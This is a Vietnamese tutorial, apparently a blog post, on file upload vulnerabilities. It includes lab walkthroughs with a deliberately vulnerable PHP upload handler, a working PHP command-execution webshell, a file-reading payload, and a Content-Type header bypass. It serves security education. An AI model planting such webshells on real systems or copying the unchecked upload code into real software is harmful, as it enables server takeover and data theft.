+3

File upload vulnerabilities - Các lỗ hổng upload tệp tin (Phần 1)

I. Đặt vấn đề

1. Giới thiệu lỗ hổng File upload

Chắc hẳn các bạn đều đã quen thuộc với các tính năng thay đổi ảnh đại diện, ảnh bìa trong quá trình hoàn thành hồ sơ cá nhân. Quá trình tải lên một ảnh đại diện chính là đang thực hiện hành động upload file, cụ thể tệp tải lên ở đây là tệp tin dạng hình ảnh.

image.png

Giống với các chức năng khác, hành động upload file cũng ẩn chứa những mối nguy tới hệ thống. Dạng lỗ hổng này thường được gọi là File upload vulnerabilities.

2. Lỗ hổng File upload hoạt động ra sao

Giả sử, một hệ thống được xây dựng dựa trên ngôn ngữ PHP, cho phép người dùng upload các file định dạng php và có thể thực thi những file này. Khi đó, thay vì upload một file avatar, kẻ tấn công có thể tải lên một tệp có phần mở rộng .php, sau đó truy cập đường dẫn thư mục chứa tệp đã tải lên khiến hệ thống thực thi các lệnh trong tệp này.

image.png

image.png

3. Tìm hiểu về Webshell

Webshell có thể hiểu là một dạng mã độc chứa các chức năng được xây dựng bởi kẻ tấn công, hỗ trợ họ trong quá trình khai thác và xâm nhập hệ thống dễ dàng hơn.

image.png

Webshell có thể xây dựng bằng nhiều ngôn ngữ lập trình khác nhau. Tùy vào công nghệ sử dụng và các đặc trưng của mục tiêu, kẻ tấn công có thể lựa chọn ngôn ngữ phù hợp để xây dựng Webshell cùng các chức năng mong muốn cho mình.

Thông thường, Webshell thường được sử dụng làm công cụ thu thập các thông tin, dữ liệu nhạy cảm; làm phần mềm trung gian cho việc tải lên hoặc lan truyền các dạng phần mềm, mã độc khác; Hỗ trợ cho các dạng tấn công khác cũng như chiếm quyền hệ thống; ...

4. Lỗ hổng File upload mang lại hậu quả gì?

Khi thay đổi ảnh đại diện, một người dùng thông thường sẽ tải lên một tệp hình ảnh. Các bạn thử tưởng tượng, nếu hệ thống cho phép người dùng tải lên một tệp bất kì, thì sẽ xảy ra hậu quả gì? Rõ ràng, chức năng của hệ thống sẽ chỉ làm việc được với các file đúng định dạng mong muốn, nếu một file có định dạng nằm ngoài khả năng xử lý được tải lên sẽ gây ra các lỗi không thể lường trước. Thậm chí, kẻ xấu có thể lợi dụng điều này để tải lên các tệp mã độc, phần mềm độc hại.

Kẻ tấn công thường lợi dụng lỗ hổng File upload để xây dựng cho mình các Webshell, từ đó chiếm quyền hệ thống hoặc thu thập các thông tin, dữ liệu nhạy cảm.

image.png

II. Phân tích và khai thác các lỗ hổng File upload

1. Những dòng code vội vàng

Chúng ta cùng xem xét đoạn mã với chức năng upload file được code bằng php sau:

<?php    
    if (isset($_POST["submit"])) {
        $file_dir = "uploads/";
        $file_name = $_FILES["file"]["name"];
        $file_location = $file_dir . basename($file_name);
        if (file_exists($file_location)) {
            echo "This image already exists!";
            exit();
        } else {
            if (move_uploaded_file($_FILES["file"]["tmp_name"], $file_location)) {
                echo "<pre>{$file_name} succesfully uploaded at </pre><a href='" . $file_location . "'>here</a>";
            } else {
                echo "<pre>Your image was not uploaded!</pre>";
            }
        }
    }

?>

Trong đoạn mã trên, biến $file_dir chỉ thư mục lưu trữ file do người dùng tải lên, $file_name là tên file người dùng tải lên, $file_location chỉ đường dẫn tới file sau khi lưu. Đoạn mã chỉ có duy nhất một bước kiểm tra rằng trong thư mục lưu trữ đã tồn tại file trùng tên với file tải lên hay không. Sau đó sẽ cho phép người dùng upload bất kì dạng tệp nào.

Bởi vậy, chúng ta có thể upload một file shell.php với nội dung như sau:

<?php
    if (isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }
?>

Upload shell.php lên hệ thống:

image.png

Truy cập tới đường dẫn file shell.php, đoạn code trong file sẽ được thực thi, bởi vậy có thể sử dụng dụng tham số cmd thực hiện các lệnh command:

image.png

Phân tích lab Remote code execution via web shell upload

image.png

Miêu tả: Trang web chứa lỗ hổng Upload File trong chức năng upload ảnh, nó không thực hiện bất kì bước kiểm tra nào đối với file do người dùng tải lên. Để giải quyết bài lab, chúng ta cần upload một Webshell PHP, từ đó đọc nội dung tệp /home/carlos/secret. Tài khoản hợp lệ được cung cấp: wiener:peter.

Đăng nhập với tài khoản wiener:peter, trang cá nhân chứa chức năng upload ảnh đại diện:

image.png

Upload một file ảnh bình thường:

image.png

Có thể click chuột phải xem đường dẫn tới ảnh đã upload:

image.png

Như vậy file ảnh sau khi upload được lưu tại thư mục /files/avatars/.

Chúng ta sẽ upload một file shell.php với nội dung như sau:

<?php
    echo file_get_contents('/home/carlos/secret');
?>

Hàm file_get_contents() sẽ lấy nội dung file /home/carlos/secret và được lệnh echo in ra.

image.png

Sau khi upload, truy cập tới /files/avatars/shell.php:

image.png

Submit và hoàn thành bài lab:

image.png

image.png

2. Bypass lỗ hổng File upload bằng header Content-Type

Giả sử một trang web chỉ cho phép upload các file ảnh với đoạn code chứa cơ chế ngăn chặn như sau:

$file_content_type = $_FILES["file"]["type"];

if (!in_array($file_content_type, array("image/png", "image/jpg", "image/jpeg"))) {
    die("Only allowed png, jpg, jpeg file!");
}

Trang web chỉ cho phép người dùng upload lên các file ảnh với định dạng .png, .jpg, .jpeg. Do giá trị $_FILES["file"]["type"] được xác định thông qua header Content-Type trong request:

image.png

Bởi vậy chúng ta có thể bypass cơ chế ngăn chặn này bằng cách thay đổi giá trị header Content-Type theo định dạng cho phép của trang web.

image.png

Phân tích lab Web shell upload via Content-Type restriction bypass

image.png

Miêu tả: Trang web chứa lỗ hổng file upload. Để giải quyết bài lab, chúng ta cần upload một web shell PHP nhằm đọc nội dung file /home/carlos/secret. Tài khoản hợp lệ được cung cấp wiener:peter.

Đăng nhập với tài khoản wiener:peter, trang web chứa chức năng upload avatar.

image.png

Thử upload một file shell.php với nội dung:

<?php
    echo file_get_contents('/home/carlos/secret');
?>

image.png

Trang web báo lỗi do chỉ cho phép upload các file dạng image/jpeg hoặc image/png. Dự đoán hệ thống xác định định dạng file upload dựa vào header Content-Type, nên chúng ta có thể thay đổi giá trị header này thành image/png để bypass cơ chế ngăn chặn này:

image.png

Upload thành công, truy cập đường dẫn file ảnh để đọc nội dung tệp /home/carlos/secret:

image.png

Submit chuỗi secret và bài lab được giải quyết:

image.png

image.png

Các tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí